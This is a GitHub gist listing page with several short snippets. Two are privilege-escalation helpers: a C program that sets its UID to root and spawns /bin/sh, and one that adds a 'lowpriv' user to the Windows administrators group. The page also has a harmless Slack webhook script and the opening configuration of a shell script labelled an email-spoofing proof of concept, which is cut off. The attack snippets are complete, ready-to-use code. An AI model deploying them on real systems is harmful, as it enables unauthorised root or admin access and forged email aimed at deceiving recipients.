Skip to content

Instantly share code, notes, and snippets.

View trimkadriu's full-sized avatar

Trim Kadriu trimkadriu

View GitHub Profile
@trimkadriu
trimkadriu / setuid.c
Created November 4, 2018 07:12
Set UID to root and bash
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char *argv[])
{
setreuid(0, 0);
execve("/bin/sh", NULL, NULL);
}
@trimkadriu
trimkadriu / user-add.c
Created November 4, 2018 07:14
Add user PrivEsc Windows
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup administrators lowpriv /add");
return 0;
}
@trimkadriu
trimkadriu / slack-message.py
Created November 27, 2020 01:34
Send Slack message with web-hooks on Python
import json
import requests
webhook_url = "" #Add the webhook here
slack_data = {"text": "This is a test message", "channel": "<channel-name> or <@person>"}
response = requests.post(
webhook_url, data = json.dumps(slack_data),
headers={'Content-Type': 'application/json'}
)
@trimkadriu
trimkadriu / mail-spoof.sh
Last active March 28, 2023 10:53
Email Spoofing PoC
#!/bin/bash
# Mail Server Config
mail_server_ip="" # SMTP server
mail_server_port="25"
mail_server_username="" # SMTP username
mail_server_password="" # SMTP password
mail_server_legit_email="noreply@<yoursmtp>.com" # The `Mail from` value of SMTP Envelope (not what victim see)
# Email params config